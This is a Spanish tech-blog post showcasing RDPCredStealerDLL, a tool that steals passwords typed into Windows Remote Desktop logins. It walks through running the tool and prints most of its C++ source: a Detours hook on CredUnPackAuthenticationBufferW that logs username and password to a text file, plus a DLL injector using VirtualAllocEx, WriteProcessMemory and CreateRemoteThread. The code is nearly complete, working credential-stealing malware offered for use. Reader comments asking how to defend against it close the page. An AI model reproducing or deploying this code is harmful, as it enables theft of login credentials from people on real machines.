Tutoriales y Manuales
Entradas Mensuales
-
►
2024
(Total:
1015
)
- ► septiembre (Total: 50 )
-
▼
2023
(Total:
710
)
- ► septiembre (Total: 65 )
-
▼
agosto
(Total:
65
)
- Vulnerabilidad en Skype expone la IP pública de cu...
- El FBI desarticula la famosa red de malware Qakbot
- Joven autista hackeó Rockstar Games desde un hotel...
- Fairphone 5: el móvil sostenible y fácil de repara...
- YouTube cambiará «strikes» por cursos de capacitación
- Las marcas de tarjetas gráficas que más fallan y l...
- China prepara una avalancha de chips para intelige...
- Google presenta una herramienta para detectar imág...
- Toyota ha parado su producción en Japón. En solo u...
- Skyhook: una herramienta para exfiltrar informació...
- La ciberseguridad, el sector con menos desempleo: ...
- Nvidia duplica sus ingresos anuales gracias a la v...
- Ya disponible Kali Linux 2023.3 con nuevas herrami...
- Microsoft Excel integra Python en las hojas de cál...
- Las bombillas inteligentes TP-Link Tapo pueden exp...
- Firefox ya permite importar extensiones de Google ...
- Google Chrome avisará de las extensiones que hayan...
- App Mensajes de Android permitirá pedir ayuda por ...
- Anonfiles, el servicio de intercambio de archivos ...
- Demandan a Western Digital por los graves problema...
- Rusia multa a Google con 32.000 dólares por videos...
- Algunas impresoras 3D empezaron a imprimir de madr...
- Elon Musk quiere eliminar la opción de bloquear cu...
- EE. UU. asegura que Rusia y China quieren espiar a...
- La inteligencia artificial ha producido más imágen...
- Debian cumple 30 años
- YouTube eliminará el contenido médico que contradi...
- La guerra entre Rusia y Ucrania también se libra e...
- Qué es Tiny10 y cómo descargarlo e instalarlo en t...
- Escáner de síntomas de compromiso en Citrix NetSca...
- Robo de credenciales RDP (Escritorio Remoto) con R...
- Apple indemnizará por ralentizar el iPhone
- Google usará la IA generativa para resumir artícul...
- Impresoras HP se niegan a escanear si no hay tinta...
- Trucos básicos parar alargar la batería del móvil ...
- Amazon, contra el teletrabajo, rastrea sin avisar ...
- Twitter ralentiza el tráfico a sitios web que no l...
- Nuevo ataque «MaginotDNS» compromete la seguridad ...
- Microsoft Edge va a empezar a guardar capturas de ...
- Cómo usar Privatezilla para mejorar la privacidad ...
- ASUS presenta la placa SBC: Tinker Board 3N
- Curiosidades sobre Linus Torvalds, el creador de L...
- Hackeo del servidor Exchange de la Comisión Electo...
- EvilProxy: ataque de phishing que esquiva el 2FA
- China quiere restringir el reconocimiento facial p...
- Linux tiene problemas de «stuttering» sobre AMD y ...
- Vulnerabilidades importantes en Zoom
- Tesla Hardware 4 cuenta con la mitad de RAM y de a...
- Principales vulnerabilidades explotadas en 2022
- La banda de ransomware Cl0p ahora utiliza Torrents...
- Tinder usará inteligencia artificial para decirte ...
- Sistemas de seguridad en Android
- Irak bloquea Telegram por motivos de seguridad nac...
- Google te avisará si tus datos personales aparecen...
- LinkPreview, la nueva función experimental de Chro...
- Apple insinúa que los iPhones no tendrán baterías ...
- Robo de cuentas comerciales de Facebook con NodeSt...
- Así es WeChat, la app china “para todo” que inspir...
- EmulationStation Desktop Edition: emulación de vid...
- AMD anuncia el procesador Ryzen 9 7945HX3D, su pri...
- La nueva función de Gmail para protegerte contra l...
- Abyss Locker: ransomware orientado a ESXi de VMware
- Elon Musk amenaza con demandar a investigadores qu...
- Más de 100 detenidos en Madrid y Barcelona por est...
- Estados Unidos en busca de malware chino que afect...
-
►
2022
(Total:
967
)
- ► septiembre (Total: 72 )
-
►
2021
(Total:
730
)
- ► septiembre (Total: 56 )
-
►
2020
(Total:
212
)
- ► septiembre (Total: 21 )
-
►
2019
(Total:
102
)
- ► septiembre (Total: 14 )
-
►
2017
(Total:
231
)
- ► septiembre (Total: 16 )
-
►
2016
(Total:
266
)
- ► septiembre (Total: 38 )
-
►
2015
(Total:
445
)
- ► septiembre (Total: 47 )
-
►
2014
(Total:
185
)
- ► septiembre (Total: 18 )
-
►
2013
(Total:
100
)
- ► septiembre (Total: 3 )
-
►
2011
(Total:
7
)
- ► septiembre (Total: 1 )
Blogroll
Etiquetas
Entradas populares
-
Después de ver qué es una vCPU y la diferencia entre núcleos (cores) e hilos en los procesadores, pasamos a explicar toda la nomenclatura d...
-
En el panorama en constante evolución de la seguridad de redes, OpnSense se ha convertido en una formidable solución de firewall. Nacido de...
-
Pese a que Gemini ofrece multitudes de opciones, recientemente, se ha dado a conocer una situación fuera de lo común. Hace unos días, un es...
Robo de credenciales RDP (Escritorio Remoto) con RDPCredStealerDLL
Una herramienta de S12 (si no lo conocéis os recomiendo que echéis un vistazo a su Github y Medium). Se trata de RDPCredStealerDLL escrita en C++ para robar credenciales introducidas en el login de una sesión de Escritorio Remoto (RDP) mediante API hooking usando la librería de Detours.
Hacerla funcionar es tan sencillo como primero copiar la dll RDPCredsStealer.dll a la ruta C:\Users\Public\Music (tienes el proyecto en el repo, no seas un vago incauto y compílalo tu mismo!)
Abrir la app del Escritorio Remoto:
Ejecutar el binario APIHookInjector:
Y al introducir la contraseña ...
... voilà! la tenemos en C:\Users\Public\Music\RDPCreds.txt
Ahora veamos un poco como funciona su kung-fu echando un vistazo a sus comentarios e indicaciones.
El código RDPCredStealerDLL
tiene como objetivo la función CredUnPackAuthenticationBufferW de
credui.dll que es la responsable de unpackear los buffers de
autenticación. Paso a paso lo que hace es:
1.- Se incluyen los archivos de encabezado necesarios, como windows.h, wincred.h, detours.h y otros.
#include <windows.h>
#include <wincred.h>
#include "pch.h"
#include <detours.h>
#include <fstream>
#include <codecvt>
#include <locale>
2.- Se define un tipo de puntero a función CredUnPackAuthenticationBufferW_t, que representa la firma de la función original CredUnPackAuthenticationBufferW.
// Definición del puntero a la función original
typedef BOOL(WINAPI* CredUnPackAuthenticationBufferW_t)(
DWORD dwFlags,
PVOID pAuthBuffer,
DWORD cbAuthBuffer,
LPWSTR pszUserName,
DWORD* pcchMaxUserName,
LPWSTR pszDomainName,
DWORD* pcchMaxDomainName,
LPWSTR pszPassword,
DWORD* pcchMaxPassword
);
3.- Se declara el puntero a función pCredUnPackAuthenticationBufferW, que se usará para almacenar la dirección de la función original.
// Declaración de la función original
CredUnPackAuthenticationBufferW_t pCredUnPackAuthenticationBufferW = NULL;
4.- Se implementa la función MyCredUnPackAuthenticationBufferW, que sirve como hook para la función original. Se llama cuando se invoca la función hookeada. Esta función primero llama a la función original usando el puntero a función almacenado pCredUnPackAuthenticationBufferW. Luego, convierte el nombre de usuario y la contraseña recuperados de cadenas anchas (LPWSTR) a cadenas codificadas en UTF-8 (std::string).
BOOL WINAPI MyCredUnPackAuthenticationBufferW(DWORD dwFlags, PVOID pAuthBuffer, DWORD cbAuthBuffer, LPWSTR pszUserName, DWORD* pcchMaxUserName, LPWSTR pszDomainName, DWORD* pcchMaxDomainName, LPWSTR pszPassword, DWORD* pcchMaxPassword)
{
OutputDebugStringA("MyCredUnPackAuthenticationBufferW Hooked Function");
// Llamada a la función original
BOOL result = pCredUnPackAuthenticationBufferW(
dwFlags,
pAuthBuffer,
cbAuthBuffer,
pszUserName,
pcchMaxUserName,
pszDomainName,
pcchMaxDomainName,
pszPassword,
pcchMaxPassword
);
// Convertir pszUserName a std::string
std::wstring_convert<std::codecvt_utf8<wchar_t>> converter;
std::string username = converter.to_bytes(pszUserName);
// Convertir pszPassword a std::string
std::string password = converter.to_bytes(pszPassword);
Finalmente, abre un archivo en modo de anexión y escribe el nombre de usuario y la contraseña en él.
std::ofstream file("C:\\Users\\Public\\Music\\RDPCreds.txt", std::ios_base::app);5.- La función DllMain sirve como punto de entrada para la DLL de hook. Se llama cuando la DLL se carga o descarga. Cuando ul_reason_for_call es DLL_PROCESS_ATTACH, lo que indica que la DLL se está cargando, carga la biblioteca credui.dll utilizando LoadLibraryA.
if (file.is_open())
{
file << username << ":" << password << std::endl;
file.close();
}
return result;
}
Luego, obtiene la dirección de la función original CredUnPackAuthenticationBufferW usando GetProcAddress. Si tiene éxito, inicia el proceso de hook llamando a DetourTransactionBegin, DetourUpdateThread y DetourAttach. Cuando ul_reason_for_call es DLL_PROCESS_DETACH, lo que indica que la DLL se está descargando, revierte el proceso de hook llamando a DetourTransactionBegin, DetourUpdateThread y DetourDetach.
// Función de inicialización del hookLuego tenemos Inject.h que proporciona funciones para inyectar una DLL en un proceso objetivo en el sistema operativo Windows. Veamos el código y comprendamos también su funcionalidad:
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
if (ul_reason_for_call == DLL_PROCESS_ATTACH)
{
HMODULE hAdvapi32 = LoadLibraryA("credui.dll");
if (hAdvapi32 != NULL) {
pCredUnPackAuthenticationBufferW = reinterpret_cast<CredUnPackAuthenticationBufferW_t>(GetProcAddress(hAdvapi32, "CredUnPackAuthenticationBufferW"));
if (pCredUnPackAuthenticationBufferW != NULL)
{
OutputDebugStringA("Installing Hooked Function");
// Aplica el hook
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourAttach(&(PVOID&)pCredUnPackAuthenticationBufferW, MyCredUnPackAuthenticationBufferW);
DetourTransactionCommit();
}
else {
OutputDebugStringA("Error");
}
}
}
else if (ul_reason_for_call == DLL_PROCESS_DETACH)
{
// Deshace el hook
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourDetach(&(PVOID&)pCredUnPackAuthenticationBufferW, MyCredUnPackAuthenticationBufferW);
DetourTransactionCommit();
}
return true;
}
1.- Se incluyen los archivos de encabezado necesarios, como windows.h, stdio.h y tlhelp32.h. Estos encabezados proporcionan las funciones y tipos de datos requeridos para interactuar con la API de Windows.
#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
#include <iostream>
using namespace std;
2.- La función getPIDbyProcName toma un nombre de proceso como entrada y devuelve el ID de proceso correspondiente (PID). Utiliza la función CreateToolhelp32Snapshot para crear una instantánea de los procesos actuales y luego itera a través de la instantánea utilizando las funciones Process32FirstW y Process32NextW para encontrar el proceso con un nombre coincidente. Si se encuentra, devuelve el ID de proceso; de lo contrario, devuelve 0.
int getPIDbyProcName(const wchar_t* procName) {3.- La función DLLinjector toma un ID de proceso (pid) y una ruta de DLL como entrada. Inyecta la DLL especificada en el proceso objetivo. Así es como funciona:
int pid = 0;
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32W pe32;
pe32.dwSize = sizeof(PROCESSENTRY32W);
if (Process32FirstW(hSnap, &pe32) != FALSE) {
while (pid == 0 && Process32NextW(hSnap, &pe32) != FALSE) {
if (wcscmp(pe32.szExeFile, procName) == 0) {
pid = pe32.th32ProcessID;
}
}
}
CloseHandle(hSnap);
return pid;
}
a. Abre el proceso objetivo utilizando OpenProcess con la flag PROCESS_ALL_ACCESS.
b. Obtiene el identificador del módulo Kernel32 utilizando GetModuleHandleW.
c. Obtiene la dirección de la función LoadLibraryW dentro de Kernel32 utilizando GetProcAddress.
d. Asigna memoria en el proceso objetivo utilizando VirtualAllocEx.
e. Escribe la ruta de la DLL en la memoria asignada en el proceso objetivo utilizando WriteProcessMemory.
f. Crea un hilo remoto en el proceso objetivo utilizando CreateRemoteThread y pasa la dirección de LoadLibraryW y la memoria asignada como parámetros.
g. Si la creación del hilo tiene éxito, devuelve true, lo que indica que la inyección de DLL fue exitosa.
bool DLLinjector(DWORD pid, const wchar_t* dllPath) {
typedef LPVOID memory_buffer;
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (hProc == NULL) {
cout << "OpenProcess() failed: " << GetLastError() << endl;
return false;
}
HMODULE hKernel32 = GetModuleHandleW(L"Kernel32");
FARPROC lb = GetProcAddress(hKernel32, "LoadLibraryW");
memory_buffer allocMem = VirtualAllocEx(hProc, NULL, wcslen(dllPath) * sizeof(wchar_t), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if (allocMem == NULL) {
cout << "VirtualAllocEx() failed: " << GetLastError() << endl;
return false;
}
WriteProcessMemory(hProc, allocMem, dllPath, wcslen(dllPath) * sizeof(wchar_t), NULL);
HANDLE rThread = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)lb, allocMem, 0, NULL);
if (rThread == NULL) {
cout << "CreateRemoteThread() failed: " << GetLastError() << endl;
return false;
}
cout << "Code Injected";
CloseHandle(hProc);
FreeLibrary(hKernel32);
VirtualFreeEx(hProc, allocMem, wcslen(dllPath) * sizeof(wchar_t), MEM_RELEASE);
return true;
}
La función principal no se proporciona en este fragmento de código.
Puedes usar estas funciones en tu propia aplicación para inyectar una
DLL en un proceso objetivo proporcionando el nombre del proceso y la
ruta de la DLL como entrada.
Proyecto: https://github.com/S12cybersecurity/RDPCredentialStealer
Fuentes:
https://www.hackplayers.com/2023/08/RDPCredStealerDLL-robo-creds-RDP.html
3 comentarios :
Buenas, desde la más absoluta ignorancia, como se protege este tipo de robos?
Es un ataque que sólo funciona en local, por lo tanto si nadie tiene acceso remoto a tu ordenador no hay peligro
Gracias El Brujo por contestar, me refería al revés, desde un ordenador infectado por “lo que sea” si es capaz de robar la información a la conexión de un rdp en la red o un rdp de remote App..
Gracias de nuevo
Publicar un comentario
Los comentarios pueden ser revisados en cualquier momento por los moderadores.
Serán publicados aquellos que cumplan las siguientes condiciones:
- Comentario acorde al contenido del post.
- Prohibido mensajes de tipo SPAM.
- Evite incluir links innecesarios en su comentario.
- Contenidos ofensivos, amenazas e insultos no serán permitidos.
Debe saber que los comentarios de los lectores no reflejan necesariamente la opinión del STAFF.